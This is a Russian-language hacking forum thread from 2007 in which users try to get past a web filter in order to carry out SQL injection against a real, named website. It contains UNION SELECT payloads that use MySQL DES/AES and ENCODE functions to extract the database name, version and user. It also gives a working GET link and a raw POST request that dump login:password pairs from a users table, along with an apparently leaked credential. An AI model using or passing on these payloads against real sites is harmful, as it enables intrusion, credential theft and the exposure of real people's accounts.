ENCODE(str,pass_str) DECODE(crypt_str,pass_str) AES_ENCRYPT(string,key_string) AES_DECRYPT(string,key_string) DES_ENCRYPT(string_to_encrypt [, (key_number | key_string) ] ) DES_DECRYPT(string_to_decrypt [, key_string])Зашифровать слово "union", а потом его расшифровать? Будет ли оно восприниматься бд как зарезервированное слово? Или будет восприниматься как тупая последовательность символов?
Друзья: Всё для вебмастера | [ Реклама на форуме ] |
![]() |
![]() |


бд MySql
Автор
AFoST
, 22 Dec 2007 06:35
#1
Отправлено 22 December 2007 - 06:35

Такая ситуация. При сукл-ниъекции существует фильтрация запроса не пойму по какому принципу. Предполагаю, что идёт проверка на слова типа union mysql.user и тд. Можно ли обойти эту фильтрацию через функции mysql?
#3
Отправлено 22 December 2007 - 07:03

попробовал,не получилось делал через encode/decode и пробовал через char()
AFoST а тебе что надо было union что б воспринималось как зарезервированое слово или название таблицы???
AFoST а тебе что надо было union что б воспринималось как зарезервированое слово или название таблицы???
--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623
#4
Отправлено 22 December 2007 - 07:12

Как зарезервированное слово. То, что мне нужно получилось с
А на серве какая-то фильтрация странная...похоже он просматривает все гет запросы на наличие запрешённых слов...
-1+union+select+DES_DECRYPT('яНИщУ3mГрmzTбєw*','1') тоже что и -1+unuion+select+user()Вот теперь ищу где закриптовать DESом строку "+1+from+mysql.user+".
А на серве какая-то фильтрация странная...похоже он просматривает все гет запросы на наличие запрешённых слов...
#5
Отправлено 22 December 2007 - 07:23

чет помойму маловероятно,что такой запросы выполниться,т.к я поэкспериментировал с использованием закриптованых зарезезвированых слов(union,select) mysql ругается...
--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623
#7
Отправлено 22 December 2007 - 07:47

AFoST я говрил про зарезервированные ф-ции
Тебе то нужно чтоб мускул обработал именно ф-ции(закриптованые).
Jinn сказал:
закриптованых зарезезвированых слов(union,select)
Цитата
где есть онлайн-утилита криптования функцией DES_ENCRYPT()?
des_decrypt('я_y;L{ф°Y;sUЎD3|Мj]', 'pwd')соответствует
+1+from+mysql.user+Но то что у тебя получится не уверен )
--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623
#9
Отправлено 22 December 2007 - 08:12

ээ да тут я думаю тебе надо будет углубиться в скуль,а именно в,то как происходит разбор запроса=)ну прикольно будет если такой запрос можно будет сделать(правда не верю в это).Но вообще может тебе заюзать посимвольный перебор?
вообще запросы без from норм исполняются?
вообще запросы без from норм исполняются?
--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623
#10
Отправлено 22 December 2007 - 08:28

Мозг взорвись!!!
-1+union+select+des_encrypt(database(),'3')+/*
выводится строка "яcЌцI{Пw)яVeЖ…", потом дешифруем и на экран выводится название дб!
-1+union+select+des_decrypt('яcЌцI{Пw)яVeЖ…','3')+/*
Так же
-1+union+select+aes_encrypt(version(),'123')+/*
получается строка "·щ»:ШЫпnVЪ{", дешифруем, получаем версию дб(4.1.20-lk-log)
-1+union+select+aes_decrypt('·щ»:ШЫпnVЪ{','123')+/*
Делаю на локальном сервере денвер, шифрованные строки получаются другие! Но всё так же работает. Строки получаются разные потому что разные версии дб(на денвере и на хосте)?
Эти запросы обрабатываются как надо(!!!!), проблема лишь в том, чтобы не потерять пару символов...
Вырезка из денвера:
-1+union+select+des_encrypt(database(),'3')+/*
выводится строка "яcЌцI{Пw)яVeЖ…", потом дешифруем и на экран выводится название дб!
-1+union+select+des_decrypt('яcЌцI{Пw)яVeЖ…','3')+/*
Так же
-1+union+select+aes_encrypt(version(),'123')+/*
получается строка "·щ»:ШЫпnVЪ{", дешифруем, получаем версию дб(4.1.20-lk-log)
-1+union+select+aes_decrypt('·щ»:ШЫпnVЪ{','123')+/*
Делаю на локальном сервере денвер, шифрованные строки получаются другие! Но всё так же работает. Строки получаются разные потому что разные версии дб(на денвере и на хосте)?
Эти запросы обрабатываются как надо(!!!!), проблема лишь в том, чтобы не потерять пару символов...
Вырезка из денвера:
mysql> select aes_encrypt(version(),'12'); +-----------------------------+ | aes_encrypt(version(),'12') | +-----------------------------+ | └/Ь0⌂Ва{ў_wВ╢ьДО | +-----------------------------+ 1 row in set (0.00 sec) mysql> select aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12'); +--------------------------------------+ | aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12') | +--------------------------------------+ | 4.1.16-max | +--------------------------------------+ 1 row in set (0.00 sec) mysql> select ENCODE(user(),'2'); +--------------------+ | ENCODE(user(),'2') | +--------------------+ | рL♂3М▬Яч╣,↓Gєs | +--------------------+ 1 row in set (0.00 sec) mysql> select decode('рL♂3М▬Яч╣,↓Gєs','2'); +------------------------------+ | decode('рL♂3М▬Яч╣,↓Gєs','2') | +------------------------------+ | ODBC@localhost | +------------------------------+ 1 row in set (0.00 sec) mysql>
#11
Отправлено 22 December 2007 - 08:40

AFoST как разница то? шифруй на удаленном серве,как и делаешь :-)хм а вообще стукни мне в ась если не сложно интересно стало:304227033
--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623
#18
Отправлено 23 December 2007 - 05:53

Проблема решена на ачате! Вот что получилось, если кому интересно...Оказывается фильтрация идет, во-первых, только при GET-запросе, во-вторых, фильтруется последовательность слов union select from (именно такая последовательность). Соответственно, заменяем метод отправки на POST и проводим скул!
http://www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+concat_ws (':',login,password)+from+users/* viktor:1940
#19
Отправлено 23 December 2007 - 06:32

AFoST Как ты дал ссылку(гетом)
с помощью POST не пробовал
Цитата
Ваш запрос отвергнут по причине его возможной небезопасности.
--[ ZaeB.uS, ]]>http://zaeb.us]]> ]---
ICQ: 304227033
Jabber: jinn@jabber.prologic.ws
OCC: 82623
#20
Отправлено 23 December 2007 - 06:50

Jinn (23.12.2007, 11:32) писал:
AFoST Как ты дал ссылку(гетом)
Ну POST такой получается и он реально работает

POST /index.php HTTP/1.0 Accept-Language: ru Content-Type: application/x-www-form-urlencoded Host: internatura.ru Content-Length: 104 op=cat&sec=4&gn=-1+union+select+concat_ws(':',login,password)+from+users/*
Количество пользователей, читающих эту тему: 0
0 пользователей, 0 гостей, 0 анонимных